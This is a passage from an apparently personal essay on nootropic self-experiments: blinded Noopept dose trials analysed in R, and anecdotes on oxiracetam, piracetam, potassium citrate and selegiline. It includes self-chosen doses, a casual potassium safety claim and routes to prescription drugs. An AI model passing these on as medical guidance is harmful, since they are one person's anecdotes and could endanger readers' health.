During this time period, I generally refrained from using any nicotine (I wound up using it only 3x in the experimental period) or modafinil (0x) to avoid adding variation to results. I did use magnesium citrate & LLLT (discussed later). Finally, I was taking a stack like this:

  1. 1mg melatonin at bedtime
  2. 5000IU vitamin D & multivitamin at morning; an iron supplement every 3 days
  3. from 25 March to 18 September 2014, ~5g of creatine monohydrate per day
  4. a few times a day, taking a custom gel pill which in total supplies ~1g piracetam & 200mg caffeine

Power

I’ll first assume the effect size is the same. Using the usual alpha, we can find the necessary sample size by a slight variation on the magnesium bootstrap power calculation. Since the 56 days gave a power of 7% while we want closer to 80%, we probably want to start our power estimation much higher, with n in the 300s:

library(boot)library(rms)
npt <-read.csv("http://www.gwern.net/docs/nootropics/2013-gwern-noopept.csv")
newNoopeptPower <-function(dt, indices) {
    d <-dt[sample(nrow(dt), n, replace=TRUE), ] # new dataset, possibly larger than the original
    lmodel <-lrm(MP ~Noopept +Magtein, data = d)return(anova(lmodel)[7])
}
alpha <-0.05
for (n in seq(from =300, to =600, by =30)) {
   bs <-boot(data=npt, statistic=newNoopeptPower, R=10000, parallel="multicore", ncpus=4)print(c(n, sum(bs$t<=alpha)/length(bs$t)))
}# 0.18/0.19/0.21/0.21/0.23/0.25/0.26/0.28/0.29/0.32/0.32

Even at n=600 (nearly 2 years), the estimated power is only 32%. This is absurdly small and such an experiment would be a waste of time.

Suppose we were optimistic and we doubled the effect from 0.23 to 0.47 (this can be done by editing the first two Noopept rows and incrementing the MP variable by 1), and then looked again at power? At n=300, power has reached 60%, and by n=530, we have hit the desired 80%.

npt[1,2] <-npt[1,2] +1
npt[2,2] <-npt[2,2] +1
n <-530
bs <-boot(data=npt, statistic=newNoopeptPower, R=100000, parallel="multicore", ncpus=4)print(c(n, sum(bs$t<=alpha)/length(bs$t)))
[1] 530.00000.8241

530 is more acceptable, albeit I am worried about doubling the effect.

Data

  1. 20mg: 15 September - 17 September: 0

    18 - 20 September: 1
  2. 30mg: 21 September - 23? September: 1

    24 - 26: 0
  3. 20mg: 27 - 29 September: 0

    30 - 2 October: 1
  4. 10mg: 3 - 5 October: 1

    6 - 8 October: 0
  5. 30mg: 9 - 11 October: 1

    12 - 14 October: 0
  6. 10mg: 15 - 17 October: 1

    18 - 20 October: 0
  7. 30mg: 22 - 24 October: 1

    25 - 27 October: 0
  8. 10mg: 28 - 30 October: 1

    31 - 2 November: 0
  9. 30mg: 4 - 6 November: 1

    7 - 9 November: 0
  10. 20mg: 11 - 13 Nov: 0

    14 - 16 Nov: 1
  11. 30mg: 20 - 22 November: 1

    23 - 25 November: 0
  12. 20mg: 26 - 28 November: 1

    29 - 1 December: 0
  13. 30mg: 2 - 4 December: 1

    5 - 7 December: 0
  14. 10mg: 8 - 10 December: 1

    11 - 13 December: 0
  15. 30mg: 14 - 16 December: 0

    17 - 19 December: 1
  16. 20mg: 20 - 22 December: 0

    27 - 29 December: 1
  17. 10mg: 1 - 3 January 2014: 1

    4 - 6 January 2014: 0
  18. 30mg: 7 - 9 January: 1

    10 - 12 January: 0
  19. 10mg: 13 - 15 January: 1

    16 - 17 January: 0
  20. 20mg: 18 - 20 January: 0

    21 - 23 January: 1
  21. 30mg: 25 - 27 January: 0

    28 - 30 January: 1
  22. 10mg: 31 January - 2 February: 1

    3 - 5 February: 0
  23. 30mg: 8 - 10 February: 1

    11 - 13 February: 1
  24. 10mg: 14 - 16 February: 0

    17 - 19 February: 1
  25. 30mg: 20 - 22 February: 1

    22 - 25 February: 0
  26. 20mg: 26 - 28 February: 0

    1 March - 3 March: 1
  27. 10mg: 4 March - 6 March: 1

    7 March - 9 March: 0
  28. 30mg: 10 - 11 March: 0; accidentally unblinded & restarted on the 12th (a spare rice placebo, which is visibly different from the flour/Noopept capsules, was mixed in)
  29. 30mg: 12 - 14 March : 1

    15 - 17 March: 0
  30. 20mg: 18 - 20 March: 0

    21 - 23 March: 1
  31. 10mg: 24 - 26 March: 1

    27 - 29 March: 0
  32. 20mg: 30 - 1 April: 0

    2 - 4 April: 1
  33. 10mg: 5 - 7 April: 1

    8 - 10 April: 0
  34. 30mg: 11 - 13 April: 1

    14 - 16 April: 0
  35. 20mg: 17 - 19 April: 0

    20 - 22 April: 1
  36. 10mg: 23 - 25 April: 1

    26 - 28 April: 0
  37. 30mg: 29 - 1 May: 1

    2 - 4 May: 0
  38. 48mg: 5 - 7 May: 0

    8 - 10 May: 1
  39. 60mg: 11 - 13 May: 0

    14 - 17 May: 1
  40. 20mg: 18 - 20 May: 0

    21 - 23 May: 1
  41. 48mg: 24 - 26 May: 1

    27 - 29 May: 0
  42. 60mg: 30 - 1 June: 0

    2 - 4 June: 1
  43. 30mg: 5 - 7 June: 1

    8 - 10 June: 0
  44. 5x: 11 - 13 June: 1

    14 - 16 June: 0
  45. 3x: 17 - 19 June: 0

    20 - 22 June: 1
  46. 5x: 23 - 25 June: 0

    26 - 28 June: 1
  47. 4x: 29 June - 1 July: 1

    2 - 4 July: 0
  48. 3x: 5 - 7 July: 1

    8 - 9 July: 0
  49. 5x: 10 - 12 July: 1

    13 - 15 July: 0
  50. 3x: 16 - 18 July: 0

    19 - 21 July: 1
  51. 4x: 23 - 25 July: 0

    26 - 28 July: 1
  52. 5x: 29 - 31 July: 0

    1 - 3 August: 1
  53. 3x: 4 - 6 August: 1

    7 - 9 August: 0
  54. 3x: 10 - 12 August: 0

    13 - 15 August: 1
  55. 3x: 16 - 18 August: 0

    19 - 21 August: 1
  56. 2x: 23 - 25 August: 0

    26 - 28 August: 1

Analysis

Analyzing the results is a little tricky because I was simultaneously running the first magnesium citrate self-experiment, which turned out to cause a quite complex result which looks like a gradually-accumulating overdose negating an initial benefit for net harm, and also toying with LLLT, which turned out to have a strong correlation with benefits. So for the potential small Noopept effect to not be swamped, I need to include those in the analysis. I designed the experiment to try to find the best dose level, so I want to look at an average Noopept effect but also the estimated effect at each dose size in case some are negative (especially in the case of 5-pills/60mg); I included the pilot experiment data as 10mg doses since they were also blind & randomized. Finally, ‘missingness’ affects analysis: because not every variable is recorded for each date (what was the value of the variable for the blind randomized magnesium citrate before and after I finished that experiment? what value do you assign the Magtein variable before I bought it and after I used it all up?), just running a linear regression may not work exactly as one expects as various days get omitted because part of the data was missing.

noopeptSecond <-read.csv("http://www.gwern.net/docs/nootropics/2013-2014-gwern-noopept.csv", colClasses=c("Date","integer","integer","integer","logical"))
l <-lm(MP ~Noopept +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=noopeptSecond)summary(l)# Coefficients:#                                                        Estimate   Std. Error  t value   Pr(>|t|)# (Intercept)                                        24.254373177 14.252905125  1.70171 0.09043607# Noopept                                             0.002069507  0.003937337  0.52561 0.59976836# LLLTTRUE                                            0.330112028  0.096133360  3.43390 0.00072963# as.logical(Magnesium.citrate)TRUE                  27.058060337 19.655569654  1.37661 0.17024431# as.integer(Date)                                   -0.001313316  0.000886616 -1.48127 0.14018300# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.001699162  0.001222719 -1.38966 0.16625033## Residual standard error: 0.640741 on 191 degrees of freedom#   (731 observations deleted due to missingness)# Multiple R-squared:  0.154383,    Adjusted R-squared:  0.132246# F-statistic: 6.97411 on 5 and 191 DF,  p-value: 5.23897e-06

As expected since most of the data overlaps with the previous LLLT analysis, the LLLT variable correlates strongly; the individual magnesium variables may look a little more questionable but were justified in the magnesium citrate analysis. The Noopept result looks a little surprising - almost zero effect? Let’s split by dose (which was the point of the whole rigmarole of changing dose levels):

l2 <-lm(MP ~as.factor(Noopept) +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=noopeptSecond)summary(l2)# Coefficients:#                                                        Estimate   Std. Error  t value   Pr(>|t|)# (Intercept)                                        27.044709119 14.677995235  1.84253 0.06697191# as.factor(Noopept)10                                0.099920147  0.139287051  0.71737 0.47403711# as.factor(Noopept)15                                0.526389063  0.297940313  1.76676 0.07889108# as.factor(Noopept)20                                0.114943375  0.147994400  0.77667 0.43832733# as.factor(Noopept)30                                0.019029776  0.125504996  0.15163 0.87964479# LLLTTRUE                                            0.329976497  0.096071943  3.43468 0.00072993# as.logical(Magnesium.citrate)TRUE                  25.615810606 20.397271406  1.25584 0.21073068# as.integer(Date)                                   -0.001488184  0.000913563 -1.62899 0.10499001# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.001610059  0.001269219 -1.26854 0.20617256## Residual standard error: 0.639823 on 188 degrees of freedom#   (731 observations deleted due to missingness)# Multiple R-squared:  0.170047,    Adjusted R-squared:  0.13473# F-statistic: 4.81487 on 8 and 188 DF,  p-value: 2.08804e-05

This looks interesting: the Noopept effect is positive for all the dose levels, but it looks like a U-curve - low at 10mg, high at 15mg, lower at 20mg, and even lower at 30mg 48mg and 60mg aren’t estimated because they are hit by the missingness problem: the magnesium citrate variable is unavailable for the days the higher doses were taken on, and so their days are omitted and those levels of the factor are not estimated. One way to fix this is to drop magnesium from the model entirely, at the cost of fitting the data much more poorly and losing a lot of R2:

l3 <-lm(MP ~as.factor(Noopept) +LLLT, data=noopeptSecond)summary(l3)# Coefficients:#                        Estimate Std. Error  t value   Pr(>|t|)# (Intercept)           3.0564075  0.0578283 52.85318 < 2.22e-16# as.factor(Noopept)10  0.1079878  0.1255354  0.86022 0.39031118# as.factor(Noopept)15  0.1835389  0.2848069  0.64443 0.51975512# as.factor(Noopept)20  0.1314225  0.1301826  1.00952 0.31348347# as.factor(Noopept)30  0.0125616  0.1091561  0.11508 0.90845401# as.factor(Noopept)48  0.2302323  0.2050326  1.12291 0.26231647# as.factor(Noopept)60 -0.1714377  0.1794377 -0.95542 0.34008626# LLLTTRUE              0.2801608  0.0829625  3.37696 0.00082304## Residual standard error: 0.685953 on 321 degrees of freedom#   (599 observations deleted due to missingness)# Multiple R-squared:  0.0468695,   Adjusted R-squared:  0.0260848# F-statistic: 2.25499 on 7 and 321 DF,  p-value: 0.0297924

This doesn’t fit the U-curve so well: while 60mg is substantially negative as one would extrapolate from 30mg being ~0, 48mg is actually better than 15mg. But we bought the estimates of 48mg/60mg at a steep price - we ignore the influence of magnesium which we know influences the data a great deal. And the higher doses were added towards the end, so may be influenced by the magnesium starting/stopping. Another fix for the missingness is to “impute” the missing data. In this case, we might argue that the placebo days of the magnesium experiment were identical to taking no magnesium at all and so we can classify each NA as a placebo day, and rerun the desired analysis:

noopeptImputed <-noopeptSecond
noopeptImputed[is.na(noopeptImputed$Magnesium.citrate),]$Magnesium.citrate <-0
li <-lm(MP ~as.factor(Noopept) +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=noopeptImputed)summary(li)# Coefficients:#                                                        Estimate   Std. Error  t value  Pr(>|t|)# (Intercept)                                        10.430818153  8.189365582  1.27370 0.2036989# as.factor(Noopept)10                                0.049595514  0.122841008  0.40374 0.6866772# as.factor(Noopept)15                                0.405925320  0.281291053  1.44308 0.1499824# as.factor(Noopept)20                                0.088343999  0.127014107  0.69554 0.4872219# as.factor(Noopept)30                                0.029464990  0.106375169  0.27699 0.7819668# as.factor(Noopept)48                                0.190340419  0.207736878  0.91626 0.3602263# as.factor(Noopept)60                               -0.210638501  0.184357630 -1.14255 0.2540834# LLLTTRUE                                            0.286295998  0.081098102  3.53024 0.0004765# as.logical(Magnesium.citrate)TRUE                  42.273941799 16.288481089  2.59533 0.0098882# as.integer(Date)                                   -0.000451814  0.000507568 -0.89015 0.3740561# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.002647546  0.001012691 -2.61437 0.0093648## Residual standard error: 0.666405 on 318 degrees of freedom#   (599 observations deleted due to missingness)# Multiple R-squared:  0.108827,    Adjusted R-squared:  0.0808031# F-statistic: 3.88332 on 10 and 318 DF,  p-value: 5.4512e-05

The 48mg/60mg coefficients shift downwards as expected. If we plot the coefficients with arm’s coefplot(), and one squints, the confidence intervals/point-values for Noopept look sort of consistent with a U-curve. What if we switch to a quadratic term to try to turn the Noopept values into a curve?

li2 <-lm(MP ~Noopept +I(Noopept^2) +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=noopeptImputed)summary(li2)# Coefficients:#                                                        Estimate   Std. Error  t value   Pr(>|t|)# (Intercept)                                         9.172594278  8.112803113  1.13063 0.25905147# Noopept                                             0.008079500  0.006074315  1.33011 0.18442378# I(Noopept^2)                                       -0.000178179  0.000122736 -1.45172 0.14755366# LLLTTRUE                                            0.284419402  0.080959896  3.51309 0.00050627# as.logical(Magnesium.citrate)TRUE                  41.589054331 16.141539488  2.57652 0.01042501# as.integer(Date)                                   -0.000373812  0.000502850 -0.74339 0.45778931# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.002604384  0.001003433 -2.59547 0.00987860## Residual standard error: 0.665408 on 322 degrees of freedom#   (599 observations deleted due to missingness)# Multiple R-squared:  0.100316,    Adjusted R-squared:  0.0835521# F-statistic: 5.98394 on 6 and 322 DF,  p-value: 6.02357e-06

Looks better, but I’m not sure how well it fits. The quadratic y=0.0080795x+0.000178179x2 has its maximum around 40mg, though, which seems suspiciously high; it seems that in order to fit the negative estimate for 60mg, the ‘top’ of the curve gets pulled over to 48mg since it’s almost as big as 15mg. I don’t find that entirely plausible.

A fancier method of imputation would be “multiple imputation” using, for example, the R library mice (“Multivariate Imputation by Chained Equations”) (guide), which will try to impute all missing values in a way which mimicks the internal structure of the data and provide several ‘possible’ datasets to give us an idea of what the underlying data might have looked like, so we can see how our estimates improve with no missingness & how much of the estimate is now due to the imputation:

library(mice)
## work around apparent error in MICE: can't handle Dates type
## even though no missing-values in that column...?
noopeptSecond$Date <-as.integer(noopeptSecond$Date)
nimp <-mice(noopeptSecond, m=200, maxit=200)
li3 <-with(nimp, lm(MP ~Noopept +I(Noopept^2) +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date)))round(summary(pool(li3)), 4)#                                                        est     se       t       df Pr(>|t|)# (Intercept)                                        -8.3369 3.2520 -2.5636 296.1619   0.0109# Noopept                                             0.0073 0.0057  1.2790 521.5756   0.2015# I(Noopept^2)                                       -0.0001 0.0001 -1.2808 583.2136   0.2008# LLLT                                                0.3069 0.0910  3.3737 168.4541   0.0009# as.logical(Magnesium.citrate)TRUE                   7.0763 3.9584  1.7877 298.7476   0.0748# as.integer(Date)                                    0.0007 0.0002  3.4911 299.6728   0.0006# as.logical(Magnesium.citrate)TRUE:as.integer(Date) -0.0005 0.0002 -1.8119 300.7040   0.0710#                                                       lo 95   hi 95 nmis    fmi lambda# (Intercept)                                        -14.7369 -1.9368   NA 0.4974 0.4940# Noopept                                             -0.0039  0.0185  457 0.2852 0.2824# I(Noopept^2)                                        -0.0004  0.0001   NA 0.2411 0.2385# LLLT                                                 0.1273  0.4864  599 0.6954 0.6918# as.logical(Magnesium.citrate)TRUE                   -0.7135 14.8662   NA 0.4942 0.4908# as.integer(Date)                                     0.0003  0.0011   NA 0.4930 0.4897# as.logical(Magnesium.citrate)TRUE:as.integer(Date)  -0.0009  0.0000   NA 0.4918 0.4884

The coefficients & p-values agree, so it seems that it doesn’t make too much difference how we deal with missingness.

Finally, we can see if some weak priors/regularization changes the picture much by using a Bayesian regression instead:

library(arm)
bl1 <-bayesglm(MP ~as.factor(Noopept) +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=noopeptImputed)display(bl1)#                                                    coef.est coef.se# (Intercept)                                        20.86     7.18# as.factor(Noopept)10                                0.06     0.12# as.factor(Noopept)15                                0.32     0.28# as.factor(Noopept)20                                0.10     0.13# as.factor(Noopept)30                                0.04     0.11# as.factor(Noopept)48                                0.26     0.20# as.factor(Noopept)60                               -0.13     0.18# LLLTTRUE                                            0.27     0.08# as.logical(Magnesium.citrate)TRUE                   0.28     1.33# as.integer(Date)                                    0.00     0.00# as.logical(Magnesium.citrate)TRUE:as.integer(Date)  0.00     0.00# ---# n = 329, k = 11# residual deviance = 144.2, null deviance = 158.5 (difference = 14.3)# overdispersion parameter = 0.5# residual sd is sqrt(overdispersion) = 0.67coefplot(bl1)
Coefficient estimates and uncertainty for the Bayesian analysis (weak priors) of the magnesium, LLLT, and Noopept variables.
Coefficient estimates and uncertainty for the Bayesian analysis (weak priors) of the magnesium, LLLT, and Noopept variables.

simulates <-as.data.frame(coef(sim(bl1, n.sims=100000)))sapply(simulates[1:11], function(c) { quantile(c, c(.025, .975)) } )#       (Intercept) as.factor(Noopept)10 as.factor(Noopept)15 as.factor(Noopept)20# 2.5%   6.80794518         -0.179116006         -0.218679929         -0.151787205# 97.5% 34.85995773          0.304713370          0.865894125          0.348912986#       as.factor(Noopept)30 as.factor(Noopept)48 as.factor(Noopept)60    LLLTTRUE# 2.5%          -0.174273139         -0.143056371         -0.490166499 0.114146706# 97.5%          0.247145243          0.660125966          0.221157470 0.433830363#       as.logical(Magnesium.citrate)TRUE as.integer(Date)# 2.5%                        -2.29986917  -0.001966335149# 97.5%                        2.86557048  -0.000227816111#       as.logical(Magnesium.citrate)TRUE:as.integer(Date)# 2.5%                                     -0.000197411805# 97.5%                                     0.000124153915

The 95% credible intervals emphasize that while the mean estimates of the posterior for the Noopept parameters are positive, there’s substantial uncertainty after updating on the data, and the effects are small.

Should I run another followup experiment? No; the implied effect is so small a confirmatory experiment would have to run a miserably long time, it seems:

library(boot)library(rms)
newNoopeptPower <-function(dt, indices) {
    d <-dt[sample(nrow(dt), n, replace=TRUE), ] # new dataset, possibly larger than the original
    lmodel <-lm(MP ~Noopept +I(Noopept^2) +LLLT +as.logical(Magnesium.citrate) +as.integer(Date) +as.logical(Magnesium.citrate):as.integer(Date),data=d)return(anova(lmodel)[1:2,][5]$`Pr(>F)`)
}
alpha <-0.05
for (n in seq(from =100, to =3000, by =200)) {
   bs <-boot(data=noopeptImputed, statistic=newNoopeptPower, R=10000, parallel="multicore", ncpus=4)print(c(n, sum(bs$t<=alpha)/length(bs$t)))
}# [1] 100.0000   0.0817# [1] 300.0000   0.1145# [1] 500.00000   0.15175# [1] 700.00000   0.17825# [1] 900.0000   0.2132# [1] 1100.0000    0.2401# [1] 1300.00000    0.26345# [1] 1500.00000    0.28595# [1] 1700.0000    0.3146# [1] 1900.00000    0.33695# [1] 2100.0000    0.3513# [1] 2300.00000    0.37485# [1] 2500.00000    0.39065# [1] 2700.0000    0.4068# [1] 2900.0000    0.4238

(I am not running an blind random self-experiment for 8 years just to get barely 40% power.)

Conclusion

So on net, I think there may be an effect but it’s small and I don’t know whether the optimal dose would be lower (~10mg) or much higher (~40mg). I don’t find this a particularly good reason to continue taking Noopept: it seems to either not be helpful in a noticeable way or to be redundant with the piracetam.

Oxiracetam is one of the 3 most popular -racetams; less popular than piracetam but seems to be more popular than aniracetam. Prices have come down substantially since the early 2000s, and stand at around 1.2g/$ or roughly 50 cents a dose, which was low enough to experiment with; key question, does it stack with piracetam or is it redundant for me? (Oxiracetam can’t compete on price with my piracetam pile stockpile: the latter is now a sunk cost and hence free.)

I bought 60 grams from Smart Powders and combined it with the DMAE; I couldn’t compare oxiracetam+DMAE vs oxiracetam+choline-bitartrate because I had capped all the choline with the piracetam. One immediate advantage of oxiracetam: it is not unbelievably foul tasting like piracetam, but slightly sweet.

Regardless, while in the absence of piracetam, I did notice some stimulant effects (somewhat negative - more aggressive than usual while driving) and similar effects to piracetam, I did not notice any mental performance beyond piracetam when using them both. The most I can say is that on some nights, I seemed to be less easily tired when writing or editing or n-backing (and I felt less tired than ICON 2011 than ICON 2010), but those were also often nights I was also trying out all the other things I had gotten in that order from Smart Powders, and I am still dis-entangling what was responsible. (Probably the l-theanine or sulbutiamine.)

In other words, for me, the two -racetams did not seem to ‘stack’. The following are a number of n-back scores from before (piracetam only) and after (piracetam and oxiracetam):

  1. [28,39,26,48,34]; [34,60]; [37,53,55] (▁▂▁▄▁▁▆▂▄▅▆)
  2. [56,66,44,46,30,24,50,56,34,39,34]; [30,50,31,37,41,23]; [53,35,40] (▅▇▃▃▁▁▄▅▁▂▁▁▄▁▂▂▁▄▁▂)

There may be some improvement hidden in there, but nothing jumps out to my eye. Oxiracetam has smaller recommended doses than piracetam, true, but even after taking that into account, oxiracetam is still more expensive per dose. When I finished it off, I decided it hadn’t shown any benefits so there was no point in continuing it.

I bought 500g of piracetam (Examine.com; FDA adverse events) from Smart Powders (piracetam is one of the cheapest nootropics and SP was one of the cheapest suppliers; the others were much more expensive as of October 2010), and I’ve tried it out for several days (started on 7 September 2009, and used it steadily up to mid-December). I’ve varied my dose from 3 grams to 12 grams (at least, I think the little scoop measures in grams), taking them in my tea or bitter fruit juice. Cranberry worked the best, although orange juice masks the taste pretty well; I also accidentally learned that piracetam stings horribly when I got some on a cat scratch. 3 grams (alone) didn’t seem to do much of anything while 12 grams gave me a nasty headache. I also ate 2 or 3 eggs a day.

Subjectively, I didn’t notice drastic changes. Here’s what I did notice:

  • My thinking seems a little clearer
  • I’m not so easy to tire - I went through a month’s worth of my Wikipedia watchlist with less fatigue than usual, and n-backing doesn’t seem so tiring.
  • DNB-wise, eyeballing my stats file seems to indicate a small increase: when I compare peak scores D4B scores, I see mostly 50s and a few 60s before piracetam, and after starting piracetam, a few 70s mixed into the 50s and 60s. Natural increase from training? Dunno - I’ve been stuck on D4B since June, so 5 or 10% in a week or 3 seems a little suspicious. A graph of the score series:

    ▁▅▂▁▅▅▂▄▁▂▁▄▄▁▄▂▁▃▃▂▂▂▁▆▁▂▁▄▃▁▃▄▁▄▁▂▅▅▂▃▁▃▃▂▄▂▄▇▄▄▄▅▃▄▂▄▅▅▁▅▃▃▄▅▅▃▃▂▄▄▃▄▆▃▅▃▄▅ ▃▅▄▄▄▂▄▂▄▃▄▄▃▄▄▂▃▆▂▁

vs

▆▅▆▄▄▅▃▅▁▁▃▄▅▃▁▅▃▅▂▃▄▃▁▄▅▅▂▃▁▁▆▃▁▄▄▃▁▅▄▄▃▃▄▂▅▃▁▄▂▅▃▆▆▂▃▃▆▄▃▃▂▂▂▁▄▃▃▄▄▂
  • The other day, I also noticed I was fidgeting less
  • After a week or two, I think I noticed better reflexes - both in catching falling cups and the saccading in BW seems slightly easier. But I could be imagining this since I just saw an Erowid report mentioning better reflexes & I may’ve read that one before I started. (Darn those subconscious impressions and memories! :)

After 7 days, I ordered a kg of choline bitartrate from Bulk Powders. Choline is standard among piracetam-users because it is pretty universally supported by anecdotes about “piracetam headaches”, has support in rat/mice experiments, and also some human-related research. So I figured I couldn’t fairly test piracetam without some regular choline - the eggs might not be enough, might be the wrong kind, etc. It has a quite distinctly fishy smell, but the actual taste is more citrus-y, and it seems to neutralize the piracetam taste in tea (which makes things much easier for me).

The first day (22 September) I took ~10g since I was taking 5g of piracetam; I wound up with some diarrhea & farting. Oops.

On the plus side: - I noticed the less-fatigue thing to a greater extent, getting out of my classes much less tired than usual. (Caveat: my sleep schedule recently changed for the saner, so it’s possible that’s responsible. I think it’s more the piracetam+choline, though.) - One thing I wasn’t expecting was a decrease in my appetite - nobody had mentioned that in their reports.I don’t like being bothered by my appetite (I know how to eat fine without it reminding me), so I count this as a plus. - Fidgeting was reduced further

The second day I went with ~6g of choline; much less intestinal distress, but similar effects vis-a-vis fidgeting, loss of appetite, & reduced fatigue. So in general I thought this was a positive experience, but I’m not sure it was worth $40 for ~2 months’ worth, and it was tedious consuming it dissolved.

Fortunately for me, the FDA decided Smart Powder’s advertising was too explicit and ordered its piracetam sales stopped; I was equivocal at the previous price point, but then I saw that between the bulk discount and the fire-sale coupon, 3kg was only $99.99 (shipping was amortized over that, the choline, caffeine, and tryptophan). So I ordered in September 2010. As well, I had decided to cap my own pills, eliminating the inconvenience and bad taste. 3kg goes a very long way so I am nowhere close to running out of my pills; there is nothing to report since, as the pills are simply part of my daily routine.

Piracetam natural experiment

I take my piracetam in the form of capped pills consisting (in descending order) of piracetam, choline bitartrate, anhydrous caffeine, and l-tyrosine. On 8 December 2012, I happened to run out of them and couldn’t fetch more from my stock until 27 December. This forms a sort of (non-randomized, non-blind) short “natural experiment”: did my daily 1-5 mood/productivity ratings fall during 8-27 December compared to November 2012 & January 2013? The graphed data suggests to me a decline:

See footnote for R code
See footnote for R code

The BEST results give a small effect size of -0.26 and only partial exclusion of zero effect size (which a one-tailed two-sample test agrees with):

postInfo = BESTplot(poff, c(pone, ptwo), mcmcChain)
postInfo = BESTplot(poff, c(pone, ptwo), mcmcChain)

So the answer is yes, M/P did fall as I expected; but also as one would expect given daily variation and the small sample of ‘off’ days (19 days), the result is not very statistically robust (even ignoring the low quality of data from a natural experiment). But it was an easy ‘experiment’ to run and the result had the right sign, as they say.

In the 2011-2012 Quantified Health Prize, potassium (FDA adverse events) came up twice as a recommendation. Potassium is vital to nerve conduction, since nerve impulses are nothing but potassium and sodium rushing around, but it didn’t seem like a priority to investigate since I am not an athlete nor do I sweat a great deal.

A LessWrong user Kevinclaimeditworkedwell for him:

By which I mean that simple potassium is probably the most positively mind altering supplement I’ve ever tried…About 15 minutes after consumption, it manifests as a kind of pressure in the head or temples or eyes, a clearing up of brain fog, increased focus, and the kind of energy that is not jittery but the kind that makes you feel like exercising would be the reasonable and prudent thing to do. I have done no tests, but “feel” smarter from this in a way that seems much stronger than piracetam or any of the conventional weak nootropics. It is not just me – I have been introducing this around my inner social circle and I’m at 7/10 people felt immediately noticeable effects. The 3 that didn’t notice much were vegetarians and less likely to have been deficient. Now that I’m not deficient, it is of course not noticeable as mind altering, but still serves to be energizing, particularly for sustained mental energy as the night goes on…Potassium chloride initially, but since bought some potassium gluconate pills… research indicates you don’t want to consume large amounts of chloride (just moderate amounts).

…The first time I took supplemental potassium (50% US RDA in a lot of water), it was like a brain fog lifted that I never knew I had, and I felt profoundly energized in a way that made me feel exercise was reasonable and prudent, which resulted in me and the roommate that had just supplemented potassium going for an hour long walk at 2AM. Experiences since then have not been quite so profound (which probably was so stark for me as I was likely fixing an acute deficiency), but I can still count on a moderately large amount of potassium to give me a solid, nearly side effect free performance boost for a few hours…I had been doing Bikram yoga on and off, and I think I wasn’t keeping up the practice because I wasn’t able to properly rehydrate myself.

One claim was partially verified in passing by EliezerYudkowsky (“Supplementing potassium (citrate) hasn’t helped me much, but works dramatically for Anna, Kevin, and Vassar…About the same as drinking a cup of coffee - i.e., it works as a perker-upper, somehow. I’m not sure, since it doesn’t do anything for me except possibly mitigate foot cramps.”)

I largely ignored this since the discussions were of sub-RDA doses, and my experience has usually been that RDAs are a poor benchmark and frequently far too low (consider the RDA for vitamin D). This time, I checked the actual RDA - and was immediately shocked and sure I was looking at a bad reference: there was no way the RDA for potassium was seriously 3700-4700mg or 4-5 grams daily, was there? Just as an American, that implied that I was getting less than half my RDA. (How would I get 4g of potassium in the first place? Eat a dozen bananas a day⸮) I am not a vegetarian, nor is my diet that fantastic: I figured I was getting some potassium from the ~2 fresh tomatoes I was eating daily, but otherwise my diet was not rich in potassium sources. I have no blood tests demonstrating deficiency, but given the figures, I cannot see how I could not be deficient.

Potassium is not the safest supplement ever, but it’s reasonably safe (kidneys can filter out overdoses), and between the anecdotes and my sudden realization that I was highly likely deficient, I decided to try it out.

Potassium citrate powder is neither expensive nor cheap: I purchased 453g for $21. The powder is crystalline white, dissolves instantly in water, and largely tasteless (sort of saline & slightly unpleasant). The powder is 37% potassium by weight (the formula is C6H5K3O7) so 453g is actually 167g of potassium, so 80-160 days’ worth depending on dose.

My first impression of ~1g around 12:30PM was that while I do not feel like running around, within an hour I did feel like the ‘brain fog’ was lighter than before. The effect wasn’t dramatic, so I can’t be very confident. Operationalizing ‘brain fog’ for an experiment might be hard: it doesn’t necessarily feel like I would do better on dual n-back. I took 2 smaller doses 3 and 6 hours later, to no further effect. Over the following weeks and months, I continued to randomly alternate between potassium & non-potassium days. I noticed no effects other than sleep problems.

Potassium sleep

That first night, I had severe trouble sleeping, falling asleep in 30 minutes rather than my usual 19.6±11.9, waking up 12 times (5.9±3.4), and spending ~90 minutes awake (18.1±16.2), and naturally I felt unrested the next day; I initially assumed it was because I had left a fan on (moving air keeps me awake) but the new potassium is also a possible culprit. When I asked, Kevin said:

I think a general high water high electrolyte diet has benefited my sleep. I haven’t noticed potassium immediately before bed decreasing sleep quality.

I began recording a subset of sleep data by hand as another sleep experiment. The conclusion was that there was a very strong negative effect on my sleep (d=-1.1) and no benefit to my mood/productivity self-ratings.

Since my experiment had a number of flaws (non-blind, varying doses at varying times of day), I wound up doing a second better experiment using blind standardized smaller doses in the morning. The negative effect was much smaller, but there was still no mood/productivity benefit. Having used up my first batch of potassium citrate in these 2 experiments, I will not be ordering again since it clearly doesn’t work for me.

Selegilineis a somewhat popular (Erowid, r/nootropics, FDA adverse events) stimulant/anti-depressant which affects dopamine.

Dosage is apparently 5-10mg a day. (Prices can be better elsewhere; selegiline is popular for treating dogs with senile dementia, where those 60x5mg will cost $2 rather than $35. One needs a veterinarian’s prescription to purchase from pet-oriented online pharmacies, though.) I ordered it & modafinil from Nubrain.com at $35 for 60x5mg; Nubrain delayed and eventually canceled my order - and my enthusiasm. Between that and realizing how much of a premium I was paying for Nubrain’s deprenyl, I’m tabling deprenyl along with nicotine & modafinil for now. Which is too bad, because I had even ordered 20g of PEA from Smart Powders to try out with the deprenyl. (My later attempt to order some off the Silk Road also failed when the seller canceled the order.)

2 experiences with sulbutiamine (Examine.com) on Reddit moved me to check it out.

